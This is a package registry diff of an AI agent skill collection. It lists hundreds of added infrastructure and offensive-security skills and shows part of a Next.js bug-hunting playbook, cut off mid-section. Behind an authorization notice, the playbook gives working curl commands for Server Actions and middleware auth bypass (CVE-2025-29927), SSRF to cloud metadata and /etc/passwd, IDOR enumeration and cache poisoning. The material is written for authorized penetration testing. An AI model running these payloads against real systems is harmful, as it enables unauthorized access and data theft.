opencode-skills-collection 4.0.68 → 4.0.69
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +266 -1
- package/bundled-skills/access-review/SKILL.md +394 -0
- package/bundled-skills/access-review/references/details.md +121 -0
- package/bundled-skills/agent-evals/SKILL.md +420 -0
- package/bundled-skills/agent-observability/SKILL.md +346 -0
- package/bundled-skills/agent-observability/references/details.md +786 -0
- package/bundled-skills/ai-agent-security/SKILL.md +393 -0
- package/bundled-skills/ai-agent-security/references/details.md +912 -0
- package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
- package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
- package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
- package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
- package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
- package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
- package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
- package/bundled-skills/alerting-oncall/SKILL.md +458 -0
- package/bundled-skills/alerting-oncall/references/details.md +84 -0
- package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
- package/bundled-skills/argocd-gitops/SKILL.md +469 -0
- package/bundled-skills/arm-templates/SKILL.md +438 -0
- package/bundled-skills/arm-templates/references/details.md +64 -0
- package/bundled-skills/asset-inventory/SKILL.md +412 -0
- package/bundled-skills/asset-inventory/references/details.md +127 -0
- package/bundled-skills/audit-logging/SKILL.md +476 -0
- package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
- package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
- package/bundled-skills/aws-ec2/SKILL.md +426 -0
- package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
- package/bundled-skills/aws-iam/SKILL.md +463 -0
- package/bundled-skills/aws-lambda/SKILL.md +428 -0
- package/bundled-skills/aws-rds/SKILL.md +380 -0
- package/bundled-skills/aws-s3/SKILL.md +434 -0
- package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
- package/bundled-skills/aws-vpc/SKILL.md +436 -0
- package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
- package/bundled-skills/azure-aks/SKILL.md +423 -0
- package/bundled-skills/azure-devops/SKILL.md +457 -0
- package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
- package/bundled-skills/azure-keyvault/SKILL.md +455 -0
- package/bundled-skills/azure-keyvault/references/details.md +83 -0
- package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
- package/bundled-skills/azure-networking/SKILL.md +448 -0
- package/bundled-skills/azure-networking/references/details.md +135 -0
- package/bundled-skills/azure-sql/SKILL.md +413 -0
- package/bundled-skills/azure-sql/references/details.md +113 -0
- package/bundled-skills/azure-vms/SKILL.md +402 -0
- package/bundled-skills/azure-vms/references/details.md +134 -0
- package/bundled-skills/backup-recovery/SKILL.md +388 -0
- package/bundled-skills/bb-methodology/SKILL.md +451 -0
- package/bundled-skills/bb-methodology/references/details.md +120 -0
- package/bundled-skills/block-storage/SKILL.md +371 -0
- package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
- package/bundled-skills/blue-green-deploy/references/details.md +90 -0
- package/bundled-skills/bug-bounty/SKILL.md +447 -0
- package/bundled-skills/bug-bounty/references/details.md +1316 -0
- package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
- package/bundled-skills/business-continuity/SKILL.md +463 -0
- package/bundled-skills/career-ops/SKILL.md +186 -0
- package/bundled-skills/cdn-setup/SKILL.md +374 -0
- package/bundled-skills/change-management/SKILL.md +438 -0
- package/bundled-skills/change-management/references/details.md +105 -0
- package/bundled-skills/circleci/SKILL.md +475 -0
- package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
- package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
- package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
- package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
- package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
- package/bundled-skills/cloudformation/SKILL.md +461 -0
- package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
- package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
- package/bundled-skills/container-hardening/SKILL.md +126 -0
- package/bundled-skills/container-registries/SKILL.md +435 -0
- package/bundled-skills/container-scanning/SKILL.md +416 -0
- package/bundled-skills/convex-backend/SKILL.md +338 -0
- package/bundled-skills/dast-scanning/SKILL.md +437 -0
- package/bundled-skills/database-backups/SKILL.md +425 -0
- package/bundled-skills/datadog/SKILL.md +487 -0
- package/bundled-skills/dependency-scanning/SKILL.md +457 -0
- package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
- package/bundled-skills/disaster-recovery/SKILL.md +374 -0
- package/bundled-skills/disaster-recovery/references/details.md +219 -0
- package/bundled-skills/dns-management/SKILL.md +375 -0
- package/bundled-skills/docker-compose/SKILL.md +482 -0
- package/bundled-skills/docker-management/SKILL.md +426 -0
- package/bundled-skills/ebpf-observability/SKILL.md +436 -0
- package/bundled-skills/ebpf-observability/references/details.md +542 -0
- package/bundled-skills/elk-stack/SKILL.md +487 -0
- package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
- package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
- package/bundled-skills/feature-flags/SKILL.md +426 -0
- package/bundled-skills/feature-flags/references/details.md +86 -0
- package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
- package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
- package/bundled-skills/firewall-config/SKILL.md +479 -0
- package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
- package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
- package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
- package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
- package/bundled-skills/gcp-compute/SKILL.md +319 -0
- package/bundled-skills/gcp-gke/SKILL.md +307 -0
- package/bundled-skills/gcp-networking/SKILL.md +293 -0
- package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
- package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
- package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
- package/bundled-skills/gdpr-compliance/references/details.md +145 -0
- package/bundled-skills/geo-audit/SKILL.md +368 -0
- package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
- package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
- package/bundled-skills/geo-citability/SKILL.md +350 -0
- package/bundled-skills/geo-compare/SKILL.md +340 -0
- package/bundled-skills/geo-content/SKILL.md +383 -0
- package/bundled-skills/geo-crawlers/SKILL.md +408 -0
- package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
- package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
- package/bundled-skills/geo-proposal/SKILL.md +378 -0
- package/bundled-skills/geo-prospect/SKILL.md +225 -0
- package/bundled-skills/geo-report/SKILL.md +436 -0
- package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
- package/bundled-skills/geo-schema/SKILL.md +408 -0
- package/bundled-skills/geo-technical/SKILL.md +78 -0
- package/bundled-skills/geo-technical/references/details.md +543 -0
- package/bundled-skills/git-workflow/SKILL.md +460 -0
- package/bundled-skills/github-actions/SKILL.md +368 -0
- package/bundled-skills/gitlab-ci/SKILL.md +340 -0
- package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
- package/bundled-skills/gpu-server-management/SKILL.md +236 -0
- package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
- package/bundled-skills/helm-charts/SKILL.md +469 -0
- package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
- package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
- package/bundled-skills/hunt-ato/SKILL.md +184 -0
- package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
- package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
- package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
- package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
- package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
- package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
- package/bundled-skills/hunt-cicd/SKILL.md +311 -0
- package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
- package/bundled-skills/hunt-cors/SKILL.md +335 -0
- package/bundled-skills/hunt-dom/SKILL.md +323 -0
- package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
- package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
- package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
- package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
- package/bundled-skills/hunt-grpc/SKILL.md +317 -0
- package/bundled-skills/hunt-host-header/SKILL.md +309 -0
- package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
- package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
- package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
- package/bundled-skills/hunt-idor/SKILL.md +434 -0
- package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
- package/bundled-skills/hunt-k8s/SKILL.md +337 -0
- package/bundled-skills/hunt-laravel/SKILL.md +255 -0
- package/bundled-skills/hunt-ldap/SKILL.md +351 -0
- package/bundled-skills/hunt-lfi/SKILL.md +311 -0
- package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
- package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
- package/bundled-skills/hunt-misc/SKILL.md +378 -0
- package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
- package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
- package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
- package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
- package/bundled-skills/hunt-oauth/SKILL.md +459 -0
- package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
- package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
- package/bundled-skills/hunt-race-condition/references/details.md +159 -0
- package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
- package/bundled-skills/hunt-rce/SKILL.md +444 -0
- package/bundled-skills/hunt-rce/references/details.md +110 -0
- package/bundled-skills/hunt-saml/SKILL.md +156 -0
- package/bundled-skills/hunt-session/SKILL.md +342 -0
- package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
- package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
- package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
- package/bundled-skills/hunt-springboot/SKILL.md +285 -0
- package/bundled-skills/hunt-sqli/SKILL.md +466 -0
- package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
- package/bundled-skills/hunt-ssrf/references/details.md +179 -0
- package/bundled-skills/hunt-ssti/SKILL.md +163 -0
- package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
- package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
- package/bundled-skills/hunt-xxe/SKILL.md +466 -0
- package/bundled-skills/i-have-adhd/SKILL.md +170 -0
- package/bundled-skills/identity-access-management/SKILL.md +382 -0
- package/bundled-skills/identity-access-management/references/details.md +524 -0
- package/bundled-skills/incident-management/SKILL.md +484 -0
- package/bundled-skills/incident-response/SKILL.md +448 -0
- package/bundled-skills/incident-response/references/details.md +113 -0
- package/bundled-skills/interview-me/SKILL.md +248 -0
- package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
- package/bundled-skills/jenkins/SKILL.md +462 -0
- package/bundled-skills/jev-use/SKILL.md +158 -0
- package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
- package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
- package/bundled-skills/kubernetes-ops/references/details.md +108 -0
- package/bundled-skills/kustomize/SKILL.md +478 -0
- package/bundled-skills/linux-administration/SKILL.md +367 -0
- package/bundled-skills/linux-hardening/SKILL.md +154 -0
- package/bundled-skills/llm-app-security/SKILL.md +389 -0
- package/bundled-skills/llm-app-security/references/details.md +674 -0
- package/bundled-skills/llm-caching/SKILL.md +334 -0
- package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
- package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
- package/bundled-skills/llm-gateway/SKILL.md +282 -0
- package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
- package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
- package/bundled-skills/load-balancing/SKILL.md +403 -0
- package/bundled-skills/loki-logging/SKILL.md +479 -0
- package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
- package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
- package/bundled-skills/mcp-server-security/SKILL.md +356 -0
- package/bundled-skills/mcp-server-security/references/details.md +745 -0
- package/bundled-skills/mdm-device-management/SKILL.md +404 -0
- package/bundled-skills/mdm-device-management/references/details.md +410 -0
- package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
- package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
- package/bundled-skills/model-registry-governance/SKILL.md +452 -0
- package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
- package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
- package/bundled-skills/mongodb/SKILL.md +436 -0
- package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
- package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
- package/bundled-skills/mysql/SKILL.md +390 -0
- package/bundled-skills/new-relic/SKILL.md +472 -0
- package/bundled-skills/nfs-storage/SKILL.md +356 -0
- package/bundled-skills/object-storage/SKILL.md +378 -0
- package/bundled-skills/offensive-osint/SKILL.md +443 -0
- package/bundled-skills/okta-attack/SKILL.md +436 -0
- package/bundled-skills/ollama-stack/SKILL.md +379 -0
- package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
- package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
- package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
- package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
- package/bundled-skills/openshift/SKILL.md +485 -0
- package/bundled-skills/opentelemetry/SKILL.md +438 -0
- package/bundled-skills/opentelemetry/references/details.md +78 -0
- package/bundled-skills/opentofu-migration/SKILL.md +349 -0
- package/bundled-skills/osint-methodology/SKILL.md +460 -0
- package/bundled-skills/osint-methodology/references/details.md +1350 -0
- package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
- package/bundled-skills/penetration-testing/SKILL.md +152 -0
- package/bundled-skills/performance-tuning/SKILL.md +381 -0
- package/bundled-skills/planetscale/SKILL.md +297 -0
- package/bundled-skills/platform-engineering/SKILL.md +348 -0
- package/bundled-skills/platform-engineering/references/details.md +944 -0
- package/bundled-skills/podman/SKILL.md +405 -0
- package/bundled-skills/policy-as-code/SKILL.md +434 -0
- package/bundled-skills/policy-as-code/references/details.md +204 -0
- package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
- package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
- package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
- package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
- package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
- package/bundled-skills/rag-observability-evals/references/details.md +92 -0
- package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
- package/bundled-skills/redis/SKILL.md +421 -0
- package/bundled-skills/redteam-report-template/SKILL.md +370 -0
- package/bundled-skills/report-writing/SKILL.md +426 -0
- package/bundled-skills/report-writing/references/details.md +187 -0
- package/bundled-skills/reverse-proxy/SKILL.md +420 -0
- package/bundled-skills/runbook-creation/SKILL.md +438 -0
- package/bundled-skills/runbook-creation/references/details.md +71 -0
- package/bundled-skills/saas-security-posture/SKILL.md +415 -0
- package/bundled-skills/sast-scanning/SKILL.md +444 -0
- package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
- package/bundled-skills/security-arsenal/SKILL.md +446 -0
- package/bundled-skills/security-arsenal/references/details.md +540 -0
- package/bundled-skills/security-automation/SKILL.md +146 -0
- package/bundled-skills/semantic-versioning/SKILL.md +434 -0
- package/bundled-skills/semantic-versioning/references/details.md +83 -0
- package/bundled-skills/service-mesh/SKILL.md +422 -0
- package/bundled-skills/soc2-compliance/SKILL.md +409 -0
- package/bundled-skills/sops-encryption/SKILL.md +124 -0
- package/bundled-skills/sre-dashboards/SKILL.md +143 -0
- package/bundled-skills/ssh-configuration/SKILL.md +324 -0
- package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
- package/bundled-skills/ssl-tls-management/references/details.md +99 -0
- package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
- package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
- package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
- package/bundled-skills/systemd-services/SKILL.md +379 -0
- package/bundled-skills/terraform-aws/SKILL.md +125 -0
- package/bundled-skills/terraform-azure/SKILL.md +415 -0
- package/bundled-skills/terraform-azure/references/details.md +231 -0
- package/bundled-skills/terraform-gcp/SKILL.md +369 -0
- package/bundled-skills/threat-modeling/SKILL.md +487 -0
- package/bundled-skills/user-management/SKILL.md +383 -0
- package/bundled-skills/using-agent-skills/SKILL.md +220 -0
- package/bundled-skills/vector-database-ops/SKILL.md +300 -0
- package/bundled-skills/vendor-management/SKILL.md +439 -0
- package/bundled-skills/vendor-management/references/details.md +109 -0
- package/bundled-skills/vercel-deployments/SKILL.md +296 -0
- package/bundled-skills/vllm-server/SKILL.md +236 -0
- package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
- package/bundled-skills/vpn-setup/SKILL.md +452 -0
- package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
- package/bundled-skills/waf-setup/SKILL.md +354 -0
- package/bundled-skills/waf-setup/references/details.md +211 -0
- package/bundled-skills/web2-recon/SKILL.md +440 -0
- package/bundled-skills/web2-recon/references/details.md +319 -0
- package/bundled-skills/web3-audit/SKILL.md +445 -0
- package/bundled-skills/web3-audit/references/details.md +224 -0
- package/bundled-skills/windows-hardening/SKILL.md +454 -0
- package/bundled-skills/windows-hardening/references/details.md +204 -0
- package/bundled-skills/windows-server/SKILL.md +318 -0
- package/bundled-skills/zero-trust/SKILL.md +461 -0
- package/package.json +1 -1
- package/skills_index.json +6943 -323
|
@@ -0,0 +1,299 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-nextjs
|
|
3
|
+
description: Hunt Next.js specific vulnerabilities
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: cve_database (CVE-2024-34351 / GHSA-fr5h-rqp8-mj6g), Next.js advisories
|
|
16
|
+
report_count: 0
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
# HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
|
|
33
|
+
|
|
34
|
+
## Crown Jewel Targets
|
|
35
|
+
|
|
36
|
+
Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
|
|
37
|
+
|
|
38
|
+
**Highest-value chains:**
|
|
39
|
+
- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
|
|
40
|
+
- **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR
|
|
41
|
+
- **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
|
|
42
|
+
- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users
|
|
43
|
+
- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Attack Surface Signals
|
|
48
|
+
|
|
49
|
+
```
|
|
50
|
+
/_next/image?url=&w=&q= Image optimizer — SSRF candidate
|
|
51
|
+
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
|
|
52
|
+
/__nextjs_original-stack-frame Debug stack frame endpoint
|
|
53
|
+
/_next/static/chunks/ JS bundles — source map candidate
|
|
54
|
+
/api/ API routes — standard hunt surface
|
|
55
|
+
__NEXT_DATA__ in HTML SSR props leaked to client
|
|
56
|
+
x-nextjs-* response headers Confirms Next.js
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
---
|
|
60
|
+
|
|
61
|
+
## Phase 1 — Fingerprint & Version Detection
|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
# Confirm Next.js and get build ID
|
|
65
|
+
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
|
|
66
|
+
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
|
|
67
|
+
|
|
68
|
+
# Extract build ID for /_next/data/ paths
|
|
69
|
+
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
|
|
70
|
+
echo "Build ID: $BUILD_ID"
|
|
71
|
+
|
|
72
|
+
# Check Next.js version via package disclosure
|
|
73
|
+
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
|
|
74
|
+
|
|
75
|
+
# Source map exposure
|
|
76
|
+
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
|
|
77
|
+
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## Phase 2 — Server Actions Abuse
|
|
83
|
+
|
|
84
|
+
```bash
|
|
85
|
+
# Server Actions in Next.js 14+ use x-action-id or Next-Action header
|
|
86
|
+
# Find action IDs in HTML source or JS bundles
|
|
87
|
+
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
|
|
88
|
+
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
|
|
89
|
+
|
|
90
|
+
# Call Server Action directly without auth
|
|
91
|
+
curl -s -X POST https://$TARGET/target-page \
|
|
92
|
+
-H "Next-Action: ACTION_ID_HERE" \
|
|
93
|
+
-H "Content-Type: multipart/form-data; boundary=----" \
|
|
94
|
+
-H "Cookie: " \
|
|
95
|
+
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
|
|
96
|
+
|
|
97
|
+
# Test: does the action execute without a valid session?
|
|
98
|
+
# If it returns data or mutates state → auth enforcement is client-side only
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
---
|
|
102
|
+
|
|
103
|
+
## Phase 3 — Middleware Auth Bypass
|
|
104
|
+
|
|
105
|
+
```bash
|
|
106
|
+
# Next.js middleware runs on edge runtime and may skip certain paths
|
|
107
|
+
# Test protected route directly
|
|
108
|
+
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
|
|
109
|
+
# → 200 means accessible
|
|
110
|
+
|
|
111
|
+
# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
|
|
112
|
+
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
|
|
113
|
+
|
|
114
|
+
# Test via static asset path prefix (middleware matcher may exclude /_next/static)
|
|
115
|
+
curl -s "https://$TARGET/_next/static/../admin/dashboard"
|
|
116
|
+
|
|
117
|
+
# Encoded path bypass
|
|
118
|
+
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
|
|
119
|
+
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)
|
|
125
|
+
Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.
|
|
126
|
+
```bash
|
|
127
|
+
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
|
|
128
|
+
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
|
|
129
|
+
# also: -H "x-middleware-subrequest: src/middleware" and "pages/_middleware"
|
|
130
|
+
# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
## Phase 4 — Image Optimization SSRF (`/_next/image`)
|
|
134
|
+
|
|
135
|
+
```bash
|
|
136
|
+
# Basic SSRF test — internal metadata
|
|
137
|
+
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
|
|
138
|
+
|
|
139
|
+
# Protocol bypass attempts
|
|
140
|
+
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
|
|
141
|
+
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
|
|
142
|
+
|
|
143
|
+
# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
|
|
144
|
+
COLLAB="http://UNIQUE.COLLAB_HOST"
|
|
145
|
+
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
|
|
146
|
+
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
**FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only
|
|
150
|
+
fetches URLs allowed by `images.remotePatterns` / `images.domains` in
|
|
151
|
+
`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is
|
|
152
|
+
the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200**
|
|
153
|
+
returns an *optimized image*, not the upstream response body, so a status code
|
|
154
|
+
alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique
|
|
155
|
+
Collaborator subdomain** (above), or by body-diffing a known-internal vs
|
|
156
|
+
known-external target. Do not report on status code.
|
|
157
|
+
|
|
158
|
+
> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0
|
|
159
|
+
> through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative
|
|
160
|
+
> redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does
|
|
161
|
+
> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server
|
|
162
|
+
> Actions surface.
|
|
163
|
+
|
|
164
|
+
---
|
|
165
|
+
|
|
166
|
+
## Phase 5 — `/_next/data/` IDOR & Data Leakage
|
|
167
|
+
|
|
168
|
+
```bash
|
|
169
|
+
# Enumerate prerendered JSON for user-specific data
|
|
170
|
+
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
|
|
171
|
+
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
|
|
172
|
+
-H "Cookie: session=VICTIM_SESSION"
|
|
173
|
+
|
|
174
|
+
# Try other users' data
|
|
175
|
+
for ID in 1 2 3 100 1000; do
|
|
176
|
+
curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
|
|
177
|
+
done
|
|
178
|
+
|
|
179
|
+
# Check __NEXT_DATA__ in HTML for sensitive server-side props
|
|
180
|
+
curl -s "https://$TARGET/dashboard" | \
|
|
181
|
+
python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 6 — ISR Cache Poisoning
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
# ISR pages regenerate on request after revalidation period
|
|
190
|
+
# If user input influences the static page content without sanitization:
|
|
191
|
+
# 1. Trigger revalidation with malicious input in URL/query
|
|
192
|
+
# 2. Injected content cached and served to all users
|
|
193
|
+
|
|
194
|
+
# Test: does query param affect cached page content?
|
|
195
|
+
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
|
|
196
|
+
# and confirm the response was actually CACHED + served to a DIFFERENT client.
|
|
197
|
+
MARK="zqx$(date +%s)"
|
|
198
|
+
# 1) Poison with the marker
|
|
199
|
+
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
|
|
200
|
+
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
|
